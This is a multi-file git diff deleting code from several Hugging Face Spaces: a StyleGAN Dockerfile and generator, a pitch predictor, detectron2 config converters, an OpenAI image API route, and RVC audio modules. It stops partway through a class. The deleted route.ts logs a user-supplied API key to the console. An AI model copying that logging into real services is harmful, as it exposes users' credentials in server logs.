index 6e391f4d8c4b619e1381594248565f63492daf19..0000000000000000000000000000000000000000
--- a/spaces/ykilcher/apes/Dockerfile
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (c) 2021, NVIDIA CORPORATION.  All rights reserved.
-#
-# NVIDIA CORPORATION and its licensors retain all intellectual property
-# and proprietary rights in and to this software, related documentation
-# and any modifications thereto.  Any use, reproduction, disclosure or
-# distribution of this software and related documentation without an express
-# license agreement from NVIDIA CORPORATION is strictly prohibited.
-
-FROM nvcr.io/nvidia/pytorch:20.12-py3
-
-ENV PYTHONDONTWRITEBYTECODE 1
-ENV PYTHONUNBUFFERED 1
-
-RUN pip install imageio-ffmpeg==0.4.3 pyspng==0.1.0
-
-WORKDIR /workspace
-
-# Unset TORCH_CUDA_ARCH_LIST and exec.  This makes pytorch run-time
-# extension builds significantly faster as we only compile for the
-# currently active GPU configuration.
-RUN (printf '#!/bin/bash\nunset TORCH_CUDA_ARCH_LIST\nexec \"$@\"\n' >> /entry.sh) && chmod a+x /entry.sh
-ENTRYPOINT ["/entry.sh"]
diff --git a/spaces/ykilcher/apes/generate.py b/spaces/ykilcher/apes/generate.py
deleted file mode 100644
index f7f961931e4e2947a74e29289b0e354d789d7bdc..0000000000000000000000000000000000000000
--- a/spaces/ykilcher/apes/generate.py
+++ /dev/null
@@ -1,129 +0,0 @@
-# Copyright (c) 2021, NVIDIA CORPORATION.  All rights reserved.
-#
-# NVIDIA CORPORATION and its licensors retain all intellectual property
-# and proprietary rights in and to this software, related documentation
-# and any modifications thereto.  Any use, reproduction, disclosure or
-# distribution of this software and related documentation without an express
-# license agreement from NVIDIA CORPORATION is strictly prohibited.
-
-"""Generate images using pretrained network pickle."""
-
-import os
-import re
-from typing import List, Optional
-
-import click
-import dnnlib
-import numpy as np
-import PIL.Image
-import torch
-
-import legacy
-
-#----------------------------------------------------------------------------
-
-def num_range(s: str) -> List[int]:
-    '''Accept either a comma separated list of numbers 'a,b,c' or a range 'a-c' and return as a list of ints.'''
-
-    range_re = re.compile(r'^(\d+)-(\d+)$')
-    m = range_re.match(s)
-    if m:
-        return list(range(int(m.group(1)), int(m.group(2))+1))
-    vals = s.split(',')
-    return [int(x) for x in vals]
-
-#----------------------------------------------------------------------------
-
-@click.command()
-@click.pass_context
-@click.option('--network', 'network_pkl', help='Network pickle filename', required=True)
-@click.option('--seeds', type=num_range, help='List of random seeds')
-@click.option('--trunc', 'truncation_psi', type=float, help='Truncation psi', default=1, show_default=True)
-@click.option('--class', 'class_idx', type=int, help='Class label (unconditional if not specified)')
-@click.option('--noise-mode', help='Noise mode', type=click.Choice(['const', 'random', 'none']), default='const', show_default=True)
-@click.option('--projected-w', help='Projection result file', type=str, metavar='FILE')
-@click.option('--outdir', help='Where to save the output images', type=str, required=True, metavar='DIR')
-def generate_images(
-    ctx: click.Context,
-    network_pkl: str,
-    seeds: Optional[List[int]],
-    truncation_psi: float,
-    noise_mode: str,
-    outdir: str,
-    class_idx: Optional[int],
-    projected_w: Optional[str]
-):
-    """Generate images using pretrained network pickle.
-
-    Examples:
-
-    \b
-    # Generate curated MetFaces images without truncation (Fig.10 left)
-    python generate.py --outdir=out --trunc=1 --seeds=85,265,297,849 \\
-        --network=https://nvlabs-fi-cdn.nvidia.com/stylegan2-ada-pytorch/pretrained/metfaces.pkl
-
-    \b
-    # Generate uncurated MetFaces images with truncation (Fig.12 upper left)
-    python generate.py --outdir=out --trunc=0.7 --seeds=600-605 \\
-        --network=https://nvlabs-fi-cdn.nvidia.com/stylegan2-ada-pytorch/pretrained/metfaces.pkl
-
-    \b
-    # Generate class conditional CIFAR-10 images (Fig.17 left, Car)
-    python generate.py --outdir=out --seeds=0-35 --class=1 \\
-        --network=https://nvlabs-fi-cdn.nvidia.com/stylegan2-ada-pytorch/pretrained/cifar10.pkl
-
-    \b
-    # Render an image from projected W
-    python generate.py --outdir=out --projected_w=projected_w.npz \\
-        --network=https://nvlabs-fi-cdn.nvidia.com/stylegan2-ada-pytorch/pretrained/metfaces.pkl
-    """
-
-    print('Loading networks from "%s"...' % network_pkl)
-    device = torch.device('cuda')
-    with dnnlib.util.open_url(network_pkl) as f:
-        G = legacy.load_network_pkl(f)['G_ema'].to(device) # type: ignore
-
-    os.makedirs(outdir, exist_ok=True)
-
-    # Synthesize the result of a W projection.
-    if projected_w is not None:
-        if seeds is not None:
-            print ('warn: --seeds is ignored when using --projected-w')
-        print(f'Generating images from projected W "{projected_w}"')
-        ws = np.load(projected_w)['w']
-        ws = torch.tensor(ws, device=device) # pylint: disable=not-callable
-        assert ws.shape[1:] == (G.num_ws, G.w_dim)
-        for idx, w in enumerate(ws):
-            img = G.synthesis(w.unsqueeze(0), noise_mode=noise_mode)
-            img = (img.permute(0, 2, 3, 1) * 127.5 + 128).clamp(0, 255).to(torch.uint8)
-            img = PIL.Image.fromarray(img[0].cpu().numpy(), 'RGB').save(f'{outdir}/proj{idx:02d}.png')
-        return
-
-    if seeds is None:
-        ctx.fail('--seeds option is required when not using --projected-w')
-
-    # Labels.
-    label = torch.zeros([1, G.c_dim], device=device)
-    if G.c_dim != 0:
-        if class_idx is None:
-            ctx.fail('Must specify class label with --class when using a conditional network')
-        label[:, class_idx] = 1
-    else:
-        if class_idx is not None:
-            print ('warn: --class=lbl ignored when running on an unconditional network')
-
-    # Generate images.
-    for seed_idx, seed in enumerate(seeds):
-        print('Generating image for seed %d (%d/%d) ...' % (seed, seed_idx, len(seeds)))
-        z = torch.from_numpy(np.random.RandomState(seed).randn(1, G.z_dim)).to(device)
-        img = G(z, label, truncation_psi=truncation_psi, noise_mode=noise_mode)
-        img = (img.permute(0, 2, 3, 1) * 127.5 + 128).clamp(0, 255).to(torch.uint8)
-        PIL.Image.fromarray(img[0].cpu().numpy(), 'RGB').save(f'{outdir}/seed{seed:04d}.png')
-
-
-#----------------------------------------------------------------------------
-
-if __name__ == "__main__":
-    generate_images() # pylint: disable=no-value-for-parameter
-
-#----------------------------------------------------------------------------
diff --git a/spaces/yl12053/so-vits-4.1-Matikanefukukitaru/modules/F0Predictor/PMF0Predictor.py b/spaces/yl12053/so-vits-4.1-Matikanefukukitaru/modules/F0Predictor/PMF0Predictor.py
deleted file mode 100644
index ccf4128436c5b7e5a3e720d4597bad0c622d0920..0000000000000000000000000000000000000000
--- a/spaces/yl12053/so-vits-4.1-Matikanefukukitaru/modules/F0Predictor/PMF0Predictor.py
+++ /dev/null
@@ -1,83 +0,0 @@
-from modules.F0Predictor.F0Predictor import F0Predictor
-import parselmouth
-import numpy as np
-
-class PMF0Predictor(F0Predictor):
-    def __init__(self,hop_length=512,f0_min=50,f0_max=1100,sampling_rate=44100):
-        self.hop_length = hop_length
-        self.f0_min = f0_min
-        self.f0_max = f0_max
-        self.sampling_rate = sampling_rate
-
-    
-    def interpolate_f0(self,f0):
-        '''
-        对F0进行插值处理
-        '''
-    
-        data = np.reshape(f0, (f0.size, 1))
-    
-        vuv_vector = np.zeros((data.size, 1), dtype=np.float32)
-        vuv_vector[data > 0.0] = 1.0
-        vuv_vector[data <= 0.0] = 0.0
-    
-        ip_data = data
-    
-        frame_number = data.size
-        last_value = 0.0
-        for i in range(frame_number):
-            if data[i] <= 0.0:
-                j = i + 1
-                for j in range(i + 1, frame_number):
-                    if data[j] > 0.0:
-                        break
-                if j < frame_number - 1:
-                    if last_value > 0.0:
-                        step = (data[j] - data[i - 1]) / float(j - i)
-                        for k in range(i, j):
-                            ip_data[k] = data[i - 1] + step * (k - i + 1)
-                    else:
-                        for k in range(i, j):
-                            ip_data[k] = data[j]
-                else:
-                    for k in range(i, frame_number):
-                        ip_data[k] = last_value
-            else:
-                ip_data[i] = data[i] #这里可能存在一个没有必要的拷贝
-                last_value = data[i]
-    
-        return ip_data[:,0], vuv_vector[:,0]
-
-    def compute_f0(self,wav,p_len=None):
-        x = wav
-        if p_len is None:
-            p_len = x.shape[0]//self.hop_length
-        else:
-            assert abs(p_len-x.shape[0]//self.hop_length) < 4, "pad length error"
-        time_step = self.hop_length / self.sampling_rate * 1000
-        f0 = parselmouth.Sound(x, self.sampling_rate).to_pitch_ac(
-            time_step=time_step / 1000, voicing_threshold=0.6,
-            pitch_floor=self.f0_min, pitch_ceiling=self.f0_max).selected_array['frequency']
-
-        pad_size=(p_len - len(f0) + 1) // 2
-        if(pad_size>0 or p_len - len(f0) - pad_size>0):
-            f0 = np.pad(f0,[[pad_size,p_len - len(f0) - pad_size]], mode='constant')
-        f0,uv = self.interpolate_f0(f0)
-        return f0
-
-    def compute_f0_uv(self,wav,p_len=None):
-        x = wav
-        if p_len is None:
-            p_len = x.shape[0]//self.hop_length
-        else:
-            assert abs(p_len-x.shape[0]//self.hop_length) < 4, "pad length error"
-        time_step = self.hop_length / self.sampling_rate * 1000
-        f0 = parselmouth.Sound(x, self.sampling_rate).to_pitch_ac(
-            time_step=time_step / 1000, voicing_threshold=0.6,
-            pitch_floor=self.f0_min, pitch_ceiling=self.f0_max).selected_array['frequency']
-
-        pad_size=(p_len - len(f0) + 1) // 2
-        if(pad_size>0 or p_len - len(f0) - pad_size>0):
-            f0 = np.pad(f0,[[pad_size,p_len - len(f0) - pad_size]], mode='constant')
-        f0,uv = self.interpolate_f0(f0)
-        return f0,uv
diff --git a/spaces/ynhe/AskAnything/models/grit_src/third_party/CenterNet2/detectron2/config/compat.py b/spaces/ynhe/AskAnything/models/grit_src/third_party/CenterNet2/detectron2/config/compat.py
deleted file mode 100644
index 11a08c439bf14defd880e37a938fab8a08e68eeb..0000000000000000000000000000000000000000
--- a/spaces/ynhe/AskAnything/models/grit_src/third_party/CenterNet2/detectron2/config/compat.py
+++ /dev/null
@@ -1,229 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-"""
-Backward compatibility of configs.
-
-Instructions to bump version:
-+ It's not needed to bump version if new keys are added.
-  It's only needed when backward-incompatible changes happen
-  (i.e., some existing keys disappear, or the meaning of a key changes)
-+ To bump version, do the following:
-    1. Increment _C.VERSION in defaults.py
-    2. Add a converter in this file.
-
-      Each ConverterVX has a function "upgrade" which in-place upgrades config from X-1 to X,
-      and a function "downgrade" which in-place downgrades config from X to X-1
-
-      In each function, VERSION is left unchanged.
-
-      Each converter assumes that its input has the relevant keys
-      (i.e., the input is not a partial config).
-    3. Run the tests (test_config.py) to make sure the upgrade & downgrade
-       functions are consistent.
-"""
-
-import logging
-from typing import List, Optional, Tuple
-
-from .config import CfgNode as CN
-from .defaults import _C
-
-__all__ = ["upgrade_config", "downgrade_config"]
-
-
-def upgrade_config(cfg: CN, to_version: Optional[int] = None) -> CN:
-    """
-    Upgrade a config from its current version to a newer version.
-
-    Args:
-        cfg (CfgNode):
-        to_version (int): defaults to the latest version.
-    """
-    cfg = cfg.clone()
-    if to_version is None:
-        to_version = _C.VERSION
-
-    assert cfg.VERSION <= to_version, "Cannot upgrade from v{} to v{}!".format(
-        cfg.VERSION, to_version
-    )
-    for k in range(cfg.VERSION, to_version):
-        converter = globals()["ConverterV" + str(k + 1)]
-        converter.upgrade(cfg)
-        cfg.VERSION = k + 1
-    return cfg
-
-
-def downgrade_config(cfg: CN, to_version: int) -> CN:
-    """
-    Downgrade a config from its current version to an older version.
-
-    Args:
-        cfg (CfgNode):
-        to_version (int):
-
-    Note:
-        A general downgrade of arbitrary configs is not always possible due to the
-        different functionalities in different versions.
-        The purpose of downgrade is only to recover the defaults in old versions,
-        allowing it to load an old partial yaml config.
-        Therefore, the implementation only needs to fill in the default values
-        in the old version when a general downgrade is not possible.
-    """
-    cfg = cfg.clone()
-    assert cfg.VERSION >= to_version, "Cannot downgrade from v{} to v{}!".format(
-        cfg.VERSION, to_version
-    )
-    for k in range(cfg.VERSION, to_version, -1):
-        converter = globals()["ConverterV" + str(k)]
-        converter.downgrade(cfg)
-        cfg.VERSION = k - 1
-    return cfg
-
-
-def guess_version(cfg: CN, filename: str) -> int:
-    """
-    Guess the version of a partial config where the VERSION field is not specified.
-    Returns the version, or the latest if cannot make a guess.
-
-    This makes it easier for users to migrate.
-    """
-    logger = logging.getLogger(__name__)
-
-    def _has(name: str) -> bool:
-        cur = cfg
-        for n in name.split("."):
-            if n not in cur:
-                return False
-            cur = cur[n]
-        return True
-
-    # Most users' partial configs have "MODEL.WEIGHT", so guess on it
-    ret = None
-    if _has("MODEL.WEIGHT") or _has("TEST.AUG_ON"):
-        ret = 1
-
-    if ret is not None:
-        logger.warning("Config '{}' has no VERSION. Assuming it to be v{}.".format(filename, ret))
-    else:
-        ret = _C.VERSION
-        logger.warning(
-            "Config '{}' has no VERSION. Assuming it to be compatible with latest v{}.".format(
-                filename, ret
-            )
-        )
-    return ret
-
-
-def _rename(cfg: CN, old: str, new: str) -> None:
-    old_keys = old.split(".")
-    new_keys = new.split(".")
-
-    def _set(key_seq: List[str], val: str) -> None:
-        cur = cfg
-        for k in key_seq[:-1]:
-            if k not in cur:
-                cur[k] = CN()
-            cur = cur[k]
-        cur[key_seq[-1]] = val
-
-    def _get(key_seq: List[str]) -> CN:
-        cur = cfg
-        for k in key_seq:
-            cur = cur[k]
-        return cur
-
-    def _del(key_seq: List[str]) -> None:
-        cur = cfg
-        for k in key_seq[:-1]:
-            cur = cur[k]
-        del cur[key_seq[-1]]
-        if len(cur) == 0 and len(key_seq) > 1:
-            _del(key_seq[:-1])
-
-    _set(new_keys, _get(old_keys))
-    _del(old_keys)
-
-
-class _RenameConverter:
-    """
-    A converter that handles simple rename.
-    """
-
-    RENAME: List[Tuple[str, str]] = []  # list of tuples of (old name, new name)
-
-    @classmethod
-    def upgrade(cls, cfg: CN) -> None:
-        for old, new in cls.RENAME:
-            _rename(cfg, old, new)
-
-    @classmethod
-    def downgrade(cls, cfg: CN) -> None:
-        for old, new in cls.RENAME[::-1]:
-            _rename(cfg, new, old)
-
-
-class ConverterV1(_RenameConverter):
-    RENAME = [("MODEL.RPN_HEAD.NAME", "MODEL.RPN.HEAD_NAME")]
-
-
-class ConverterV2(_RenameConverter):
-    """
-    A large bulk of rename, before public release.
-    """
-
-    RENAME = [
-        ("MODEL.WEIGHT", "MODEL.WEIGHTS"),
-        ("MODEL.PANOPTIC_FPN.SEMANTIC_LOSS_SCALE", "MODEL.SEM_SEG_HEAD.LOSS_WEIGHT"),
-        ("MODEL.PANOPTIC_FPN.RPN_LOSS_SCALE", "MODEL.RPN.LOSS_WEIGHT"),
-        ("MODEL.PANOPTIC_FPN.INSTANCE_LOSS_SCALE", "MODEL.PANOPTIC_FPN.INSTANCE_LOSS_WEIGHT"),
-        ("MODEL.PANOPTIC_FPN.COMBINE_ON", "MODEL.PANOPTIC_FPN.COMBINE.ENABLED"),
-        (
-            "MODEL.PANOPTIC_FPN.COMBINE_OVERLAP_THRESHOLD",
-            "MODEL.PANOPTIC_FPN.COMBINE.OVERLAP_THRESH",
-        ),
-        (
-            "MODEL.PANOPTIC_FPN.COMBINE_STUFF_AREA_LIMIT",
-            "MODEL.PANOPTIC_FPN.COMBINE.STUFF_AREA_LIMIT",
-        ),
-        (
-            "MODEL.PANOPTIC_FPN.COMBINE_INSTANCES_CONFIDENCE_THRESHOLD",
-            "MODEL.PANOPTIC_FPN.COMBINE.INSTANCES_CONFIDENCE_THRESH",
-        ),
-        ("MODEL.ROI_HEADS.SCORE_THRESH", "MODEL.ROI_HEADS.SCORE_THRESH_TEST"),
-        ("MODEL.ROI_HEADS.NMS", "MODEL.ROI_HEADS.NMS_THRESH_TEST"),
-        ("MODEL.RETINANET.INFERENCE_SCORE_THRESHOLD", "MODEL.RETINANET.SCORE_THRESH_TEST"),
-        ("MODEL.RETINANET.INFERENCE_TOPK_CANDIDATES", "MODEL.RETINANET.TOPK_CANDIDATES_TEST"),
-        ("MODEL.RETINANET.INFERENCE_NMS_THRESHOLD", "MODEL.RETINANET.NMS_THRESH_TEST"),
-        ("TEST.DETECTIONS_PER_IMG", "TEST.DETECTIONS_PER_IMAGE"),
-        ("TEST.AUG_ON", "TEST.AUG.ENABLED"),
-        ("TEST.AUG_MIN_SIZES", "TEST.AUG.MIN_SIZES"),
-        ("TEST.AUG_MAX_SIZE", "TEST.AUG.MAX_SIZE"),
-        ("TEST.AUG_FLIP", "TEST.AUG.FLIP"),
-    ]
-
-    @classmethod
-    def upgrade(cls, cfg: CN) -> None:
-        super().upgrade(cfg)
-
-        if cfg.MODEL.META_ARCHITECTURE == "RetinaNet":
-            _rename(
-                cfg, "MODEL.RETINANET.ANCHOR_ASPECT_RATIOS", "MODEL.ANCHOR_GENERATOR.ASPECT_RATIOS"
-            )
-            _rename(cfg, "MODEL.RETINANET.ANCHOR_SIZES", "MODEL.ANCHOR_GENERATOR.SIZES")
-            del cfg["MODEL"]["RPN"]["ANCHOR_SIZES"]
-            del cfg["MODEL"]["RPN"]["ANCHOR_ASPECT_RATIOS"]
-        else:
-            _rename(cfg, "MODEL.RPN.ANCHOR_ASPECT_RATIOS", "MODEL.ANCHOR_GENERATOR.ASPECT_RATIOS")
-            _rename(cfg, "MODEL.RPN.ANCHOR_SIZES", "MODEL.ANCHOR_GENERATOR.SIZES")
-            del cfg["MODEL"]["RETINANET"]["ANCHOR_SIZES"]
-            del cfg["MODEL"]["RETINANET"]["ANCHOR_ASPECT_RATIOS"]
-        del cfg["MODEL"]["RETINANET"]["ANCHOR_STRIDES"]
-
-    @classmethod
-    def downgrade(cls, cfg: CN) -> None:
-        super().downgrade(cfg)
-
-        _rename(cfg, "MODEL.ANCHOR_GENERATOR.ASPECT_RATIOS", "MODEL.RPN.ANCHOR_ASPECT_RATIOS")
-        _rename(cfg, "MODEL.ANCHOR_GENERATOR.SIZES", "MODEL.RPN.ANCHOR_SIZES")
-        cfg.MODEL.RETINANET.ANCHOR_ASPECT_RATIOS = cfg.MODEL.RPN.ANCHOR_ASPECT_RATIOS
-        cfg.MODEL.RETINANET.ANCHOR_SIZES = cfg.MODEL.RPN.ANCHOR_SIZES
-        cfg.MODEL.RETINANET.ANCHOR_STRIDES = []  # this is not used anywhere in any version
diff --git a/spaces/yuhanbo/chat-gpt/app/api/chat-image/route.ts b/spaces/yuhanbo/chat-gpt/app/api/chat-image/route.ts
deleted file mode 100644
index 8e5f5c48c5f75935044506eb6f5bbe03b60894d1..0000000000000000000000000000000000000000
--- a/spaces/yuhanbo/chat-gpt/app/api/chat-image/route.ts
+++ /dev/null
@@ -1,30 +0,0 @@
-import { OpenAIApi, Configuration } from "openai";
-import { ChatImageRequest } from "../chat/typing";
-
-export async function POST(req: Request) {
-  try {
-    let apiKey = process.env.OPENAI_API_KEY;
-
-    const userApiKey = req.headers.get("token");
-    if (userApiKey) {
-      apiKey = userApiKey;
-      console.log("user api key:" + apiKey);
-    }
-
-    const openai = new OpenAIApi(
-      new Configuration({
-        apiKey,
-      }),
-    );
-
-    const requestBody = (await req.json()) as ChatImageRequest;
-    const response = await openai.createImage({
-      ...requestBody,
-    });
-    console.log(response.data.data[0].url);
-    return new Response(JSON.stringify(response.data));
-  } catch (e) {
-    console.error("[Chat] ", e);
-    return new Response(JSON.stringify(e));
-  }
-}
diff --git a/spaces/yuzu34/rvc-hololive/infer_pack/modules.py b/spaces/yuzu34/rvc-hololive/infer_pack/modules.py
deleted file mode 100644
index 960481cedad9a6106f2bf0b9e86e82b120f7b33f..0000000000000000000000000000000000000000
--- a/spaces/yuzu34/rvc-hololive/infer_pack/modules.py
+++ /dev/null
@@ -1,522 +0,0 @@
-import copy
-import math
-import numpy as np
-import scipy
-import torch
-from torch import nn
-from torch.nn import functional as F
-
-from torch.nn import Conv1d, ConvTranspose1d, AvgPool1d, Conv2d
-from torch.nn.utils import weight_norm, remove_weight_norm
-
-from infer_pack import commons
-from infer_pack.commons import init_weights, get_padding
-from infer_pack.transforms import piecewise_rational_quadratic_transform
-
-
-LRELU_SLOPE = 0.1
-
-
-class LayerNorm(nn.Module):
-    def __init__(self, channels, eps=1e-5):
-        super().__init__()
-        self.channels = channels
-        self.eps = eps
-
-        self.gamma = nn.Parameter(torch.ones(channels))
-        self.beta = nn.Parameter(torch.zeros(channels))
-
-    def forward(self, x):
-        x = x.transpose(1, -1)
-        x = F.layer_norm(x, (self.channels,), self.gamma, self.beta, self.eps)
-        return x.transpose(1, -1)
-
-
-class ConvReluNorm(nn.Module):
-    def __init__(
-        self,
-        in_channels,
-        hidden_channels,
-        out_channels,
-        kernel_size,
-        n_layers,
-        p_dropout,
-    ):
-        super().__init__()
-        self.in_channels = in_channels
-        self.hidden_channels = hidden_channels
-        self.out_channels = out_channels
-        self.kernel_size = kernel_size
-        self.n_layers = n_layers
-        self.p_dropout = p_dropout
-        assert n_layers > 1, "Number of layers should be larger than 0."
-
-        self.conv_layers = nn.ModuleList()
-        self.norm_layers = nn.ModuleList()
-        self.conv_layers.append(
-            nn.Conv1d(
-                in_channels, hidden_channels, kernel_size, padding=kernel_size // 2
-            )
-        )
-        self.norm_layers.append(LayerNorm(hidden_channels))
-        self.relu_drop = nn.Sequential(nn.ReLU(), nn.Dropout(p_dropout))
-        for _ in range(n_layers - 1):
-            self.conv_layers.append(
-                nn.Conv1d(
-                    hidden_channels,
-                    hidden_channels,
-                    kernel_size,
-                    padding=kernel_size // 2,
-                )
-            )
-            self.norm_layers.append(LayerNorm(hidden_channels))
-        self.proj = nn.Conv1d(hidden_channels, out_channels, 1)
-        self.proj.weight.data.zero_()
-        self.proj.bias.data.zero_()
-
-    def forward(self, x, x_mask):
-        x_org = x
-        for i in range(self.n_layers):
-            x = self.conv_layers[i](x * x_mask)
-            x = self.norm_layers[i](x)
-            x = self.relu_drop(x)
-        x = x_org + self.proj(x)
-        return x * x_mask
-
-
-class DDSConv(nn.Module):
-    """
-    Dialted and Depth-Separable Convolution
-    """
-
-    def __init__(self, channels, kernel_size, n_layers, p_dropout=0.0):
-        super().__init__()
-        self.channels = channels
-        self.kernel_size = kernel_size
-        self.n_layers = n_layers
-        self.p_dropout = p_dropout
-
-        self.drop = nn.Dropout(p_dropout)
-        self.convs_sep = nn.ModuleList()
-        self.convs_1x1 = nn.ModuleList()
-        self.norms_1 = nn.ModuleList()
-        self.norms_2 = nn.ModuleList()
-        for i in range(n_layers):
-            dilation = kernel_size**i
-            padding = (kernel_size * dilation - dilation) // 2
-            self.convs_sep.append(
-                nn.Conv1d(
-                    channels,
-                    channels,
-                    kernel_size,
-                    groups=channels,
-                    dilation=dilation,
-                    padding=padding,
-                )
-            )
-            self.convs_1x1.append(nn.Conv1d(channels, channels, 1))
-            self.norms_1.append(LayerNorm(channels))
-            self.norms_2.append(LayerNorm(channels))
-
-    def forward(self, x, x_mask, g=None):
-        if g is not None:
-            x = x + g
-        for i in range(self.n_layers):
-            y = self.convs_sep[i](x * x_mask)
-            y = self.norms_1[i](y)
-            y = F.gelu(y)
-            y = self.convs_1x1[i](y)
-            y = self.norms_2[i](y)
-            y = F.gelu(y)
-            y = self.drop(y)
-            x = x + y
-        return x * x_mask
-
-
-class WN(torch.nn.Module):
-    def __init__(
-        self,
-        hidden_channels,
-        kernel_size,
-        dilation_rate,
-        n_layers,
-        gin_channels=0,
-        p_dropout=0,
-    ):
-        super(WN, self).__init__()
-        assert kernel_size % 2 == 1
-        self.hidden_channels = hidden_channels
-        self.kernel_size = (kernel_size,)
-        self.dilation_rate = dilation_rate
-        self.n_layers = n_layers
-        self.gin_channels = gin_channels
-        self.p_dropout = p_dropout
-
-        self.in_layers = torch.nn.ModuleList()
-        self.res_skip_layers = torch.nn.ModuleList()
-        self.drop = nn.Dropout(p_dropout)
-
-        if gin_channels != 0:
-            cond_layer = torch.nn.Conv1d(
-                gin_channels, 2 * hidden_channels * n_layers, 1
-            )
-            self.cond_layer = torch.nn.utils.weight_norm(cond_layer, name="weight")
-
-        for i in range(n_layers):
-            dilation = dilation_rate**i
-            padding = int((kernel_size * dilation - dilation) / 2)
-            in_layer = torch.nn.Conv1d(
-                hidden_channels,
-                2 * hidden_channels,
-                kernel_size,
-                dilation=dilation,
-                padding=padding,
-            )
-            in_layer = torch.nn.utils.weight_norm(in_layer, name="weight")
-            self.in_layers.append(in_layer)
-
-            # last one is not necessary
-            if i < n_layers - 1:
-                res_skip_channels = 2 * hidden_channels
-            else:
-                res_skip_channels = hidden_channels
-
-            res_skip_layer = torch.nn.Conv1d(hidden_channels, res_skip_channels, 1)
-            res_skip_layer = torch.nn.utils.weight_norm(res_skip_layer, name="weight")
-            self.res_skip_layers.append(res_skip_layer)
-
-    def forward(self, x, x_mask, g=None, **kwargs):
-        output = torch.zeros_like(x)
-        n_channels_tensor = torch.IntTensor([self.hidden_channels])
-
-        if g is not None:
-            g = self.cond_layer(g)
-
-        for i in range(self.n_layers):
-            x_in = self.in_layers[i](x)
-            if g is not None:
-                cond_offset = i * 2 * self.hidden_channels
-                g_l = g[:, cond_offset : cond_offset + 2 * self.hidden_channels, :]
-            else:
-                g_l = torch.zeros_like(x_in)
-
-            acts = commons.fused_add_tanh_sigmoid_multiply(x_in, g_l, n_channels_tensor)
-            acts = self.drop(acts)
-
-            res_skip_acts = self.res_skip_layers[i](acts)
-            if i < self.n_layers - 1:
-                res_acts = res_skip_acts[:, : self.hidden_channels, :]
-                x = (x + res_acts) * x_mask
-                output = output + res_skip_acts[:, self.hidden_channels :, :]
-            else:
-                output = output + res_skip_acts
-        return output * x_mask
-
-    def remove_weight_norm(self):
-        if self.gin_channels != 0:
-            torch.nn.utils.remove_weight_norm(self.cond_layer)
-        for l in self.in_layers:
-            torch.nn.utils.remove_weight_norm(l)
-        for l in self.res_skip_layers:
-            torch.nn.utils.remove_weight_norm(l)
-
-
-class ResBlock1(torch.nn.Module):
-    def __init__(self, channels, kernel_size=3, dilation=(1, 3, 5)):
-        super(ResBlock1, self).__init__()
-        self.convs1 = nn.ModuleList(
-            [
-                weight_norm(
-                    Conv1d(
-                        channels,
-                        channels,
-                        kernel_size,
-                        1,
-                        dilation=dilation[0],
-                        padding=get_padding(kernel_size, dilation[0]),
-                    )
-                ),
-                weight_norm(
-                    Conv1d(
-                        channels,
-                        channels,
-                        kernel_size,
-                        1,
-                        dilation=dilation[1],
-                        padding=get_padding(kernel_size, dilation[1]),
-                    )
-                ),
-                weight_norm(
-                    Conv1d(
-                        channels,
-                        channels,
-                        kernel_size,
-                        1,
-                        dilation=dilation[2],
-                        padding=get_padding(kernel_size, dilation[2]),
-                    )
-                ),
-            ]
-        )
-        self.convs1.apply(init_weights)
-
-        self.convs2 = nn.ModuleList(
-            [
-                weight_norm(
-                    Conv1d(
-                        channels,
-                        channels,
-                        kernel_size,
-                        1,
-                        dilation=1,
-                        padding=get_padding(kernel_size, 1),
-                    )
-                ),
-                weight_norm(
-                    Conv1d(
-                        channels,
-                        channels,
-                        kernel_size,
-                        1,
-                        dilation=1,
-                        padding=get_padding(kernel_size, 1),
-                    )
-                ),
-                weight_norm(
-                    Conv1d(
-                        channels,
-                        channels,
-                        kernel_size,
-                        1,
-                        dilation=1,
-                        padding=get_padding(kernel_size, 1),
-                    )
-                ),
-            ]
-        )
-        self.convs2.apply(init_weights)
-
-    def forward(self, x, x_mask=None):
-        for c1, c2 in zip(self.convs1, self.convs2):
-            xt = F.leaky_relu(x, LRELU_SLOPE)
-            if x_mask is not None:
-                xt = xt * x_mask
-            xt = c1(xt)
-            xt = F.leaky_relu(xt, LRELU_SLOPE)
-            if x_mask is not None:
-                xt = xt * x_mask
-            xt = c2(xt)
-            x = xt + x
-        if x_mask is not None:
-            x = x * x_mask
-        return x
-
-    def remove_weight_norm(self):
-        for l in self.convs1:
-            remove_weight_norm(l)
-        for l in self.convs2:
-            remove_weight_norm(l)
-
-
-class ResBlock2(torch.nn.Module):
-    def __init__(self, channels, kernel_size=3, dilation=(1, 3)):
-        super(ResBlock2, self).__init__()
-        self.convs = nn.ModuleList(
-            [
-                weight_norm(
-                    Conv1d(
-                        channels,
-                        channels,
-                        kernel_size,
-                        1,
-                        dilation=dilation[0],
-                        padding=get_padding(kernel_size, dilation[0]),
-                    )
-                ),
-                weight_norm(
-                    Conv1d(
-                        channels,
-                        channels,
-                        kernel_size,
-                        1,
-                        dilation=dilation[1],
-                        padding=get_padding(kernel_size, dilation[1]),
-                    )
-                ),
-            ]
-        )
-        self.convs.apply(init_weights)
-
-    def forward(self, x, x_mask=None):
-        for c in self.convs:
-            xt = F.leaky_relu(x, LRELU_SLOPE)
-            if x_mask is not None:
-                xt = xt * x_mask
-            xt = c(xt)
-            x = xt + x
-        if x_mask is not None:
-            x = x * x_mask
-        return x
-
-    def remove_weight_norm(self):
-        for l in self.convs:
-            remove_weight_norm(l)
-
-
-class Log(nn.Module):
-    def forward(self, x, x_mask, reverse=False, **kwargs):
-        if not reverse:
-            y = torch.log(torch.clamp_min(x, 1e-5)) * x_mask
-            logdet = torch.sum(-y, [1, 2])
-            return y, logdet
-        else:
-            x = torch.exp(x) * x_mask
-            return x
-
-
-class Flip(nn.Module):
-    def forward(self, x, *args, reverse=False, **kwargs):
-        x = torch.flip(x, [1])
-        if not reverse:
-            logdet = torch.zeros(x.size(0)).to(dtype=x.dtype, device=x.device)
-            return x, logdet
-        else:
-            return x
-
-
-class ElementwiseAffine(nn.Module):
-    def __init__(self, channels):
-        super().__init__()
-        self.channels = channels
-        self.m = nn.Parameter(torch.zeros(channels, 1))
-        self.logs = nn.Parameter(torch.zeros(channels, 1))
-
-    def forward(self, x, x_mask, reverse=False, **kwargs):
-        if not reverse:
-            y = self.m + torch.exp(self.logs) * x
-            y = y * x_mask
-            logdet = torch.sum(self.logs * x_mask, [1, 2])
-            return y, logdet
-        else:
-            x = (x - self.m) * torch.exp(-self.logs) * x_mask
-            return x
-
-
-class ResidualCouplingLayer(nn.Module):
-    def __init__(
-        self,
-        channels,
-        hidden_channels,
